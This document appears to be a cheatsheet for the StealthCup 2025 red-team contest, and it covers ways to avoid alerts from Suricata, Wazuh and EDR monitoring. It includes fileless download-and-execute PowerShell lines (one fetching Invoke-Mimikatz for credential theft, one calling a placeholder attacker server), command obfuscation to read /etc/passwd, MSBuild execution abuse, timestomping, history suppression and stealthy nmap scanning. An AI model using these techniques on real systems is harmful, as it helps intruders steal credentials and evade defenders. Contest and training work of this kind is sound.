StealthCup 2025: Alert Evasion Cheatsheet

This cheatsheet focuses on techniques to minimize alerts and evade detection from the security monitoring systems in the StealthCup environment. Since the scoring system is based on alerts triggered, these techniques are crucial for success.

Security Systems in Place:

- Open-source NIDS (likely Suricata)
- Open-source HIDS/SIEM (likely Wazuh)
- Commercial EDR solution (detect-only mode)

1. Understanding Detection Mechanisms

Before attempting evasion, understand how detection systems work.

- **Signature-Based Detection**: Looks for known patterns of malicious activity.
  - **Evasion Strategy**: Modify tools/commands to avoid matching signatures.
- **Behavioral Detection**: Looks for abnormal patterns of activity.
  - **Evasion Strategy**: Mimic legitimate user/system behavior, operate slowly.
- **Heuristic Detection**: Uses algorithms to identify suspicious activity.
  - **Evasion Strategy**: Stay within "normal" thresholds, avoid suspicious combinations of actions.
- **Log Analysis**: Examines logs for indicators of compromise.
  - **Evasion Strategy**: Minimize log generation, use built-in tools.

2. Network-Based Evasion Techniques

These techniques help evade network-based detection systems (NIDS like Suricata).

- **Traffic Manipulation**:
  - **Fragmentation**: Split packets to bypass signature matching.

```
# Example with nmap
nmap -f <target>  # Use small fragments
nmap --mtu 8 <target>  # Specify custom MTU size
```

  - **Timing**: Slow down scans and connections.

```
# Example with nmap
nmap -T0 <target>  # Paranoid timing (slowest)
```

```
nmap --scan-delay 30s <target>  # 30-second delay between probes
```

- **Decoys**: Generate decoy traffic (use cautiously, can increase noise).

```
# Example with nmap
nmap -D RND:3 <target>  # Use 3 random decoys
```

- **Protocol Abuse**:
  - **Uncommon Protocols**: Use less-monitored protocols when possible.

```
# Example: Use DNS tunneling instead of direct HTTP
# (Requires setup of DNS tunneling infrastructure)
```

  - **Protocol Encapsulation**: Hide traffic within legitimate protocols.

```
# Example: SSH tunneling
ssh -D 8080 user@pivot_host  # Create SOCKS proxy
# Then configure tools to use the SOCKS proxy
```

- **Encryption and Obfuscation**:
  - **Use Encrypted Channels**: Prefer HTTPS, SSH, TLS.

```
# Example: Use HTTPS for web requests
curl -k https://<target>
```

  - **Custom Obfuscation**: Modify packet characteristics.

```
# Example: Custom packet manipulation with scapy (Python)
# (Advanced technique, requires custom scripting)
```

3. Host-Based Evasion Techniques

These techniques help evade host-based detection systems (HIDS like Wazuh and EDR).

- **Living Off The Land (LOL)**:
  - **Use Native Tools**: Prefer built-in system tools over external ones.

```

```

```
# Instead of downloading mimikatz, use native PowerShell
Invoke-Expression (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerS
hellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')
```

  - **Fileless Execution**: Avoid writing to disk.

```
# Example: Load and execute in memory
IEX (New-Object
Net.WebClient).DownloadString('http://<your_server>/script.ps1')
```

- **Process Manipulation**:
  - **Process Injection**: Inject code into legitimate processes.

```
# Example: PowerShell reflection (simplified)
$bytes = [System.IO.File]::ReadAllBytes("C:\legitimate.dll")
[System.Reflection.Assembly]::Load($bytes)
```

  - **Parent Process Spoofing**: Launch from trusted parent processes.

```
# Example: Using WMI to spawn process from specific parent
# (Advanced technique, requires custom scripting)
```

- **Command Line Obfuscation**:
  - **Variable Substitution**: Hide suspicious strings.

```
# Example: Bash obfuscation
a='c'; b='a'; c='t'; d=' '; e='/etc/passwd'; $a$b$c$d$e
# Instead of: cat /etc/passwd
```

  - **Encoding**: Use encoded commands.

```
# Example: PowerShell encoding
powershell -EncodedCommand <Base64_encoded_command>
```

- **Timestomping**: Modify file timestamps to blend in.

```
```

```
# Example: Change file timestamps
touch -r /etc/passwd <your_file>  # Match timestamps with /etc/passwd
```

4. Specific Evasion for StealthCup Detection Systems

Wazuh Evasion

Wazuh is likely monitoring:

- File integrity (FIM)
- Command execution
- Authentication events
- System logs
- **Evasion Techniques**:
  - **Avoid Monitored Directories**: Operate in temporary or less-monitored locations.

```
# Use /dev/shm or /tmp instead of /home or /opt
cd /dev/shm && mkdir .hidden && cd .hidden
```

  - **Minimize Command History**: Clear or avoid writing to history.

```
# Prepend space to commands to avoid bash history
[space]your_command
# Or disable history temporarily
unset HISTFILE
```

  - **Careful File Operations**: Avoid creating/modifying many files quickly.

```
# Instead of creating multiple files, use in-memory operations
# or create a single archive file
```

Suricata Evasion

Suricata is likely monitoring:

- Known attack signatures
- Protocol anomalies
- Traffic patterns

- File transfers
- **Evasion Techniques**:
  - **Avoid Known Bad Traffic**: Don't use public exploits without modification.
  - **Protocol Compliance**: Ensure traffic follows protocol specifications.

```
# Use legitimate HTTP headers and methods
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" <target>
```

  - **Traffic Blending**: Make malicious traffic look like normal traffic.

```
# Example: Time operations to coincide with normal business hours
# Schedule operations using cron or at
```

EDR Evasion

Commercial EDR solutions typically monitor:

- Process creation
- File operations
- Registry changes (Windows)
- Network connections
- Memory operations
- **Evasion Techniques**:
  - **Avoid Known Malicious Indicators**: Modify tools to change their fingerprint.
  - **Use Legitimate Software Features**: Abuse features of trusted applications.

```
# Example: Use MSBuild for code execution
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
<malicious_project_file>
```

  - **Indirect Command Execution**: Use multiple layers of indirection.

```
# Example: Use environment variables and eval
export CMD="cat /etc/passwd"
eval $CMD
```

5. Alert Minimization Strategy

- **Reconnaissance Phase**:
    - Start with passive techniques
    - Use slow, targeted active scanning only when necessary
    - Analyze existing information before gathering more
- **Exploitation Phase**:
    - Use the minimum privilege level needed
    - Prefer built-in/native tools
    - Test techniques in isolated environments first (if possible)
- **Post-Exploitation Phase**:
    - Establish minimal, stable access
    - Use existing credentials/tokens when possible
    - Avoid creating new accounts unless necessary
- **Lateral Movement Phase**:
    - Move only when necessary
    - Use legitimate administrative channels
    - Maintain persistence only on key systems

6. Alert Severity Reduction

If you must trigger alerts, aim for lower severity ones:

- **High/Critical Alert Actions (Avoid)**:
    - Running known malware/exploits
    - Mass scanning
    - Brute force attempts
    - Modifying system files
    - Using exploit frameworks without modification
- **Medium Alert Actions (Use Cautiously)**:
    - Accessing sensitive files
    - Creating new admin accounts
    - Installing new software
    - Modifying startup items
- **Low Alert Actions (Prefer)**:
    - Normal authentication
    - Standard administrative tasks
    - Using built-in utilities
    - Accessing common network shares

7. Operational Security Best Practices

- **Planning**:
    - Map out actions before executing
    - Identify potential detection points
    - Have fallback plans
- **Execution**:
    - Work slowly and methodically
    - Monitor for signs of detection
    - Pause between significant actions
- **Cleanup**:
    - Remove artifacts when possible (without deleting logs - against rules)
    - Return systems to normal state
    - Document actions for score validation

Remember: The competition rules explicitly forbid deleting logs or command history. Focus on generating fewer logs rather than removing them.

Always cross-reference with the Scoring System Cheatsheet to understand the alert weight implications of your actions.